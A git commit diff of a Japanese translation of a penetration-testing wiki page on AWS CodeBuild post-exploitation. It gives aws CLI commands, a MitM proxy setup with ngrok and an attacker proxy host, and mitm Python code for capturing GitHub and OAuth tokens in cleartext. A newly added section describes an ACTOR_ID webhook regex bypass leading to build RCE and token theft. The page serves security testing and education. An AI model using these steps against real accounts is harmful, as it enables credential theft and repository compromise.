Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation

This commit is contained in:
Translator
2026-01-18 15:11:53 +00:00
parent fd6bb9c2d2
commit 05ddd233fa

View File

@@ -2,47 +2,47 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Github/Bitbucketに設定されたトークンの回収
## Github/Bitbucket に設定された Tokens を回収する
まず、漏洩できるソース認証情報が設定されていか確認してください:
まず、leak できる source credentials が設定されていないか確認してください:
```bash
aws codebuild list-source-credentials
```
### Via Docker Image
### Docker Image を利用
アカウントに対して例えばGithubへの認証が設定されていることがわかった場合、Codebuildに**特定のdockerイメージ**を使用させてプロジェクトのビルドを実行させることで、その**アクセス****GHトークンまたはOAuthトークン**)を**抽出**することができます。
例えばアカウントにGithubへの認証が設定されているのを見つけた場合、プロジェクトのビルドを実行するためにCodebuildに特定のDocker imageを使わせることで、その **exfiltrate** なお **access****GH token or OAuth token**)を取得できます。
この目的のために、**新しいCodebuildプロジェクトを作成**するか、既存のプロジェクトの**環境**を変更して**Dockerイメージ**を設定することができます。
この目的のために、**新しい Codebuild プロジェクトを作成する**か、既存のものの **environment** を変更して **Docker image** を設定することができます。
使用できるDockerイメージは[https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm)です。これは非常に基本的なDockerイメージで、**env変数`https_proxy`**、**`http_proxy`**、および**`SSL_CERT_FILE`**を設定します。これにより、**`https_proxy`**および**`http_proxy`**指定されたホストのほとんどのトラフィックを傍受し、**`SSL_CERT_FILE`**指定されたSSL CERTを信頼することができます。
使用できる Docker image は [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm) です。これは非常に基本的な Docker image で、**環境変数 `https_proxy`**、**`http_proxy`**、および **`SSL_CERT_FILE`** を設定します。これにより、**`https_proxy`** および **`http_proxy`**指定されたホストのトラフィックの多くを傍受し、**`SSL_CERT_FILE`**指定された SSL 証明書を信頼することが可能になります。
1. **自分のDocker MitMイメージを作成してアップロード**
- リポジトリの指示に従ってプロキシIPアドレスを設定し、SSL証明書を設定して**dockerイメージをビルド**します
- メタデータエンドポイントへのリクエストを傍受しないように**`http_proxy`を設定しないでください**
- **`ngrok`**を使用してプロキシをホストに設定することができます(例:`ngrok tcp 4444`
- Dockerイメージがビルドされたら、**パブリックリポジトリにアップロード**しますDockerhubECR...)。
2. **環境を設定**
- **新しいCodebuildプロジェクトを作成**するか、既存のプロジェクトの環境**変更**します。
- プロジェクト**前に生成したDockerイメージ**を使用するように設定します。
1. **自分の Docker MitM image を作成してアップロードする**
- リポジトリの指示に従い、プロキシIPアドレスSSL証明書を設定して**build the docker image**
- **DO NOT SET `http_proxy`**(メタデータエンドポイントへのリクエストを傍受しないため)
- ホストをプロキシに設定するために、例えば `ngrok``ngrok tcp 4444` のように使うことができます
- Docker image をビルドたら、**upload it to a public repo**Dockerhub, ECR...)。
2. **環境を設定する**
- **新しい Codebuild プロジェクトを作成する**か、既存のものの**環境**変更します。
- プロジェクト**前に生成した Docker image** を使用するように設定します。
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
3. **ホストにMitMプロキシを設定**
3. **ホストに MitM proxy を設定する**
- **Githubリポジトリ**に示されているように、次のようなものを使用できます:
- **Github repo** にあるように、例えば次のよう使用できます:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> 使用された**mitmproxyのバージョンは9.0.1**であり、バージョン10ではこれが機能しない可能性があると報告されています。
> **mitmproxy version used was 9.0.1**, version 10 では動作しない可能性が報告されています。
4. **ビルドを実行し、資格情報をキャプチャする**
4. **ビルドを実行して credentials を取得する**
- **Authorization**ヘッダーにトークンが表示されます
- **Authorization** ヘッダーで token を確認できます:
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
これはaws cliを使用して次のように行うこともできます
これは aws cli から次のように実行することもできます
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
# Start the build
aws codebuild start-build --project-name my-project2
```
### Via insecureSSL
### insecureSSL を経由して
**Codebuild** プロジェクトには、ウェブ上では隠されている **`insecureSsl`** という設定があり、APIからのみ変更できます。\
これを有効にすると、Codebuildプラットフォームが提する証明書を **確認せずに** リポジトリに接続できるようになります。
**Codebuild** プロジェクトには **`insecureSsl`** という設定があり、Web 上には表示されず、API からのみ変更できます。\
これを有効にすると、Codebuild はリポジトリに**プラットフォームが提する証明書を検証せずに**接続できます。
- まず、次のようなもので現在の設定を列挙する必要があります:
- まず、例えば次のようなコマンドで現在の設定を列挙する必要があります:
```bash
aws codebuild batch-get-projects --name <proj-name>
```
- その後、収集した情報を使用してプロジェクト設定の **`insecureSsl`** を **`True`** に更新できます。以下は私がプロジェクトを更新した例で、最後に **`insecureSsl=True`** があることに注してください(これは収集した設定から変更する必要がある唯一の項目です)。
- さらに、tcp ngrokを指す環境変数 **http_proxy****https_proxy** も追加してください。
- その後、収集した情報を用いてプロジェクト設定の **`insecureSsl`** を **`True`** に更新できます。以下は私がプロジェクトを更新した例で、末尾の **`insecureSsl=True`** に注してください(収集した設定から変更するのはこれだけです)。
- さらに、環境変数 **http_proxy****https_proxy** を tcp ngrok を指すように追加します。例:
```bash
aws codebuild update-project --name <proj-name> \
--source '{
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
]
}'
```
- 次に、プロキシ変数http_proxyおよびhttps_proxyで指摘されたポートで、[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)から基本的な例を実行します。
- 次に、proxy 変数http_proxyhttps_proxyが示すポートで、[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)基本的な例を実行します。
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
- 最後に**Build the project**をクリックすると、**credentials**が**クリアテキスト**base64でmitmポートに**送信されます**:
- 最後に **Build the project** をクリックすると、**credentials****平文base64** mitm ポートに送信されます:
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
### ~~HTTPプロトコル経由~~
### ~~Via HTTP protocol~~
> [!TIP] > **この脆弱性は2023年2月20日の週のある時点でAWSによって修正されましたおそらく金曜日。したがって、攻撃者はもはやこれを悪用できません :)**
> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
**CodeBuildで権限が昇格された攻撃者は、設定されたGithub/Bitbucketトークンを漏洩させることができます**。または、OAuth経由で権限が設定されている場合、**コードにアクセスするために使用される一時的なOAuthトークン**です。
CodeBuildで権限が昇格た攻撃者は、設定された Github/Bitbucket token を leak したり、権限が OAuth 経由で構成されている場合、コードにアクセスするための temporary OAuth token を取得したりする可能性があります。
- 攻撃者は、CodeBuildプロジェクトに**http_proxy**と**https_proxy**の環境変数を追加し、自分のマシンを指すことができます(例えば`http://5.tcp.eu.ngrok.io:14972`)。
- 攻撃者は環境変数 **http_proxy****https_proxy** を CodeBuild プロジェクトに追加し、自分のマシンを指すように設定できます(例: `http://5.tcp.eu.ngrok.io:14972`)。
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
- 次に、githubリポジトリのURLをHTTPSの代わりにHTTPを使用するように変更します。例えば: `http://github.com/carlospolop-forks/TestActions`
-の後、プロキシ変数http_proxyhttps_proxyによって指示されたポートで[https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm)から基本的な例を実行します。
- 次に、github repo の URL を HTTPS ではなく HTTP を使ように変更します。例: `http://github.com/carlospolop-forks/TestActions`
-して、proxy 変数http_proxyhttps_proxyが指すポートで [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) の basic example を実行します。
```python
from mitm import MITM, protocol, middleware, crypto
@@ -162,11 +162,28 @@ mitm.run()
```sh
aws codebuild start-build --project-name <proj-name>
```
-に、**資格情報**は**平文**base64でmitmポートに送信されます:
-終的に、**認証情報**は**平文** (base64) で mitm port に送信されます:
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> これ攻撃者は自分のマシンからトークンを使用し、持っているすべての権限をリストし、CodeBuildサービスを直接使用するよりも簡単に(悪用できるようになります。
> これにより攻撃者は自分のマシンからtokenを使用して、その持つすべての権限を列挙し、CodeBuildサービスを直接用するよりも容易に悪用できるようになります。
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
設定ミスのある CodeBuild GitHub webhooks がアンカーのない `ACTOR_ID` 正規表現を使用していると、*untrusted* PR が特権ビルドを開始できてしまいます。allowlist が `123456|7890123` のように `^`/`$` を含まない場合、そのサブストリングを含む任意の ID が一致します。GitHub のユーザー ID は連番であるため、攻撃者は“eclipsing” ID信頼された ID を含むより長い IDを競って登録し、ビルドをトリガーできます。
## エクスプロイトの流れ
1. webhook フィルタを公開している公開の CodeBuild プロジェクトを見つけ、アンカーのない `ACTOR_ID` allowlist を抽出する。
2. eclipsing GitHub ID を取得する:
- GitHub org を作成/削除してグローバル ID カウンタをサンプリングするorg ID も同じプールを共有する)。
- 多数の GitHub App manifest 作成を事前登録し、カウンタがターゲットの約 ~100 ID に近づいたときに確認用 URLs を一斉に実行して、信頼されたサブストリングを含む bot ID をバースト登録する。
3. eclipsing アカウントから PR を開くと、regex がサブストリングにマッチして特権ビルドが実行される。
4. build RCE例: dependency install hooksを利用して、GitHub 資格情報を扱うプロセスのメモリをダンプし、PAT/OAuth token を回収する。
5. `repo` スコープを持つ token を使用して自分のアカウントを collaborator/admin として招待し、悪意あるコミットをプッシュ/承認したり秘密を持ち出したりする。
## References
- [Wiz: CodeBreach AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
{{#include ../../../../banners/hacktricks-training.md}}